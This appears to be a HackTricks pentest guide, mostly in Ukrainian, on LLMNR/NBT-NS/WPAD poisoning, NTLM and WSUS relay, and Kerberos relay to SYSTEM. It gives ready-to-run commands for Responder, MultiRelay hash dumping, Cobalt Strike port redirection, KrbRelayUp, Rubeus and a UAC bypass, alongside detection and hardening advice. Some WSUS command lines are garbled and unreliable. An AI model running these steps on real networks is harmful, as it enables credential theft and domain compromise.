Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft та інші операційні системи використовують LLMNR і NBT-NS для локального розв’язання імен, коли DNS не працює. Аналогічно, Apple та Linux використовують mDNS.
- Через їх неаутентифікований широкомовний характер поверх UDP ці протоколи вразливі до перехоплення та spoofing.
- Responder і Dementor можна використовувати для імітації сервісів шляхом відправки підроблених відповідей хостам, які роблять запити цими протоколами.
- Детальніше про імітацію сервісів з використанням Responder див. тут.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD дозволяє браузерам автоматично знаходити налаштування проксі.
- Виявлення здійснюється через DHCP, DNS або відкат до LLMNR та NBT-NS, якщо DNS не працює.
- Responder може автоматизувати WPAD-атаки, перенаправляючи клієнтів на зловмисні WPAD-сервери.
Responder/Dementor for Protocol Poisoning
-
Responder — інструмент для poisoning запитів LLMNR, NBT-NS та mDNS, який вибірково відповідає залежно від типу запиту, переважно націлений на SMB-сервіси.
-
Він постачається попередньо встановленим у Kali Linux і конфігурується в
/etc/responder/Responder.conf. -
Responder відображає перехоплені хеші на екрані та зберігає їх у каталозі
/usr/share/responder/logs. -
Підтримує як IPv4, так і IPv6.
-
Версія Responder для Windows доступна тут.
-
Dementor розширює теми multicast poisoning і додатково виступає як rogue service provider (включаючи підтримку CUPS RCE).
-
Загальна структура схожа на Responder з більш детальною конфігурацією. (файл за замовчуванням: Dementor.toml)
-
Сумісність між Dementor і Responder наведена тут: Compatibility Matrix
-
Вступ та документація: Dementor - Docs
-
Виправляє проблеми захоплення, які виникали у Responder для деяких протоколів
Running Responder
- Щоб запустити Responder з налаштуваннями за замовчуванням:
responder -I <Interface> - Для більш агресивного опитування (можливі побічні ефекти):
responder -I <Interface> -P -r -v - Техніки для захоплення NTLMv1 challenge/response для полегшення крекінгу:
responder -I <Interface> --lm --disable-ess - Імітацію WPAD можна активувати:
responder -I <Interface> --wpad - Запити NetBIOS можна вирішити на IP атакуючого і налаштувати проксі автентифікації:
responder.py -I <interface> -Pv
Running Dementor
- З налаштуваннями за замовчуванням:
Dementor -I <interface> - З налаштуваннями за замовчуванням у режимі аналізу:
Dementor -I <interface> -A - Автоматичне зниження NTLM-сесії (ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - Запустити поточну сесію з кастомною конфігурацією:
Dementor -I <interface> --config <file.toml>
DHCP Poisoning with Responder
- Spoofing DHCP responses може назавжди отруїти маршрутизовану інформацію жертви, пропонуючи більш приховану альтернативу ARP poisoning.
- Потребує точного знання конфігурації цільової мережі.
- Для запуску атаки:
./Responder.py -I eth0 -Pdv - Цей метод може ефективно захоплювати NTLMv1/2 хеші, але вимагає обережного виконання, щоб уникнути порушення роботи мережі.
Capturing Credentials with Responder/Dementor
- Responder/Dementor імітуватимуть сервіси, використовуючи вищезазначені протоколи, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається автентифікуватися проти підроблених сервісів.
- Можна намагатися понизити до NetNTLMv1 або відключити ESS для полегшеного крекінгу облікових даних.
Якщо у вас вже є доступна для запису SMB-папка, яку переглядають жертви, ви можете змусити вихідні SMB-з’єднання без spoofing, розміщуючи UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office), згенеровані за допомогою ntlm_theft, а потім перехоплюючи автентифікацію за допомогою Responder. Див. Explorer-triggered UNC lure workflow.
Важливо зазначити, що використання цих технік має здійснюватися легально та етично: забезпечуйте належну авторизацію та уникайте порушень роботи мережі або несанкціонованого доступу.
Inveigh
Inveigh — інструмент для penetration testers і red teamers, призначений для Windows. Він пропонує функціональність, подібну до Responder, виконуючи spoofing та man-in-the-middle атаки. Інструмент еволюціонував з PowerShell-скрипта до C# бінарника; основні версії — Inveigh та InveighZero. Детальні параметри та інструкції доступні в wiki.
Inveigh можна запускати через PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Або виконано як C# бінарний файл:
Inveigh.exe
NTLM Relay Attack
Ця атака використовує SMB автентифікаційні сесії для доступу до цільової машини, що в разі успіху надає system shell. Ключові передумови включають:
- Користувач, що автентифікується, повинен мати Local Admin доступ на релейному хості.
- SMB signing має бути вимкнено.
445 Перенаправлення та тунелювання портів
У випадках, коли пряме введення в мережу неможливе, трафік на порті 445 потрібно перенаправляти та тунелювати. Інструменти на кшталт PortBender допомагають перенаправляти трафік порту 445 на інший порт, що є необхідним, коли доступ local admin доступний для завантаження драйвера.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Інші інструменти для NTLM Relay Attack
- Metasploit: Налаштування з використанням proxies, вказання деталей local та remote host.
- smbrelayx: Python-скрипт для relaying SMB-сесій, виконання команд або розгортання backdoors.
- MultiRelay: Інструмент із набору Responder для relaying конкретних користувачів або всіх користувачів, виконання команд або dump hashes.
Кожен інструмент можна налаштувати для роботи через SOCKS proxy за потреби, що дозволяє атаки навіть за непрямого доступу до мережі.
MultiRelay Operation
MultiRelay запускається з директорії /usr/share/responder/tools, націлюючись на конкретні IP або користувачів.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
RelayKing – виявлення relayable цілей і підготовлені списки релеїв
RelayKing — NTLM relay exposure auditor, який відображає, де relays є придатними, і генерує готові до використання списки цілей для ntlmrelayx.py -tf. Він перевіряє посилення протоколів (SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth) та позначає coercion/reflection helpers (PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection).
- Auth підвищує надійність перевірок HTTPS/LDAPS CBT та MSSQL EPA; SMB signing/signature level перевіряється без автентифікації.
- Cross-protocol relay pathing використовує підтверджені Net-NTLMv1 (
--ntlmv1/--ntlmv1-all) знахідки; для кожного шляху надається ранжування серйозності. --gen-relay-list <file>записує grep-friendly список цілей дляntlmrelayx.py -tf <file>, щоб уникнути методів trial-and-error.--coerce-allмасово запускає PetitPotam/DFSCoerce/PrinterBug проти всіх цілей;--ntlmv1-all(RemoteRegistry) та--audit(domain-wide LDAP host pull) є noisy і генерують багато logons/remote accesses.--proto-portscanпришвидшує сканування, пропускаючи закриті порти;--krb-dc-onlyдопомагає, коли DC блокують NTLM, але інші сервіси все ще його приймають.
Example sweeps:
# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt
# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24
Ці інструменти та методи утворюють всебічний набір для проведення NTLM Relay атак у різних мережевих середовищах.
Зловживання WSUS HTTP (8530) для NTLM Relay до LDAP/SMB/AD CS (ESC8)
WSUS клієнти автентифікуються до свого update сервера за допомогою NTLM через HTTP (8530) або HTTPS (8531). Коли HTTP увімкнено, періодичні перевірки клієнта можуть бути змушені або перехоплені в локальному сегменті і ретранслювані за допомогою ntlmrelayx до LDAP/LDAPS/SMB або AD CS HTTP ендпойнтів (ESC8) без розкриття будь-яких хешів. Це зливається з нормальним трафіком оновлень і часто дає автентифікації облікових записів машин (HOST$).
What to look for
- Налаштування GPO/реєстру в HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate та …\WindowsUpdate\AU:
- WUServer (наприклад, http://wsus.domain.local:8530)
- WUStatusServer (URL для звітування)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints, які використовують клієнти через HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Типові порти: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Займіть позицію для MITM (той самий L2), щоб клієнт резолвив WSUS сервер на вас (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks –keep-relaying –http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py –http-port 8530 -t http://
/certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Запустіть перевірку клієнтом або зачекайте за розкладом. На клієнті: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Використовуйте автентифіковані SOCKS сесії (if -socks) або прямі результати relay для post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
Примусова NTLM аутентифікація
In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:
Force NTLM Privileged Authentication
Kerberos Relay атака
A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (наприклад CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.
Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Основи Kerberos
| Token | Призначення | Значення для relay |
|---|---|---|
| TGT / AS-REQ ↔ REP | Підтверджує користувача перед KDC | не змінюється |
| Service ticket / TGS-REQ ↔ REP | Прив’язаний до одного SPN; зашифрований ключем власника SPN | може бути взаємозамінним, якщо SPN належать тому самому обліковому запису |
| AP-REQ | Client sends TGS to the service | те, що ми вкрадаємо й повторно використовуємо |
- Tickets are encrypted with the password-derived key of the account that owns the SPN.
- The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
- Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for
CIFS/HOSTnormally decrypts fine onLDAP/HOST.
-
- Умови для Kerberos relay
- Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
- No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
- You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
Kerberos Relay Steps
- 3.1 Розвідка хоста
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Запустіть relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp упаковує KrbRelay → LDAP → RBCD → Rubeus → SCM bypass в один бінарний файл.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce змушує DC надіслати нам Kerberos CIFS/DC01 квиток.
- 3.4 Relay the AP-REQ
KrbRelay витягує GSS blob з SMB, пакує його в LDAP bind та пересилає до ldap://DC01—автентифікація вдається, бо той самий ключ його розшифровує.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Тепер ви володієте NT AUTHORITY\SYSTEM.
Ще шляхи, які варто знати
| Вектор | Трюк | Чому це важливо |
|---|---|---|
| AuthIP / IPSec | Фейковий сервер надсилає GSS-ID payload з будь-яким SPN; клієнт формує AP-REQ прямо до вас | Працює навіть між підмережами; machine creds за замовчуванням |
| DCOM / MSRPC | Зловмисний OXID resolver змушує клієнта автентифікуватися до довільного SPN і порту | Чистий local priv-esc; обходить firewall |
| AD CS Web Enroll | Релейте machine ticket до HTTP/CA і отримайте сертифікат, потім PKINIT щоб створити TGTs | Обходить LDAP signing захисти |
| Shadow Credentials | Записати msDS-KeyCredentialLink, потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис комп’ютера |
Усунення несправностей
| Помилка | Значення | Виправлення |
|---|---|---|
KRB_AP_ERR_MODIFIED | Ключ квитка ≠ ключ цілі | Невірний host/SPN |
KRB_AP_ERR_SKEW | Часовий зсув > 5 хв | Синхронізуйте час або використайте w32tm |
| LDAP bind fails | Увімкнено signing | Використайте AD CS шлях або вимкніть signing |
| Event 4649 spam | Служба бачила дубльований Authenticator | заблокувати або випередити оригінальний пакет |
Виявлення
- Зростання кількості Event 4769 для
CIFS/,HTTP/,LDAP/від одного й того ж джерела протягом кількох секунд. - Event 4649 на сервісі вказує на виявлення replay.
- Kerberos logon з 127.0.0.1 (relay до local SCM) — вельми підозріло — відобразіть це за допомогою Sigma правила в документації KrbRelayUp.
- Слідкуйте за змінами атрибутів
msDS-AllowedToActOnBehalfOfOtherIdentityабоmsDS-KeyCredentialLink.
Зміцнення захисту
- Enforce LDAP & SMB signing + EPA на кожному сервері.
- Split SPNs так, щоб HTTP не був на тому ж обліковому записі, що й CIFS/LDAP.
- Патчіть coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
- Встановіть
ms-DS-MachineAccountQuota = 0, щоб зупинити несанкціоновані приєднання комп’ютерів. - Налаштуйте оповіщення на Event 4649 та несподівані loopback Kerberos logons.
References
- HTB: Breach – Writable SMB share lures + Responder capture → NetNTLMv2 crack
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
- RelayKing v1.0
- Depth Security – Introducing RelayKing: Relay to Royalty
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


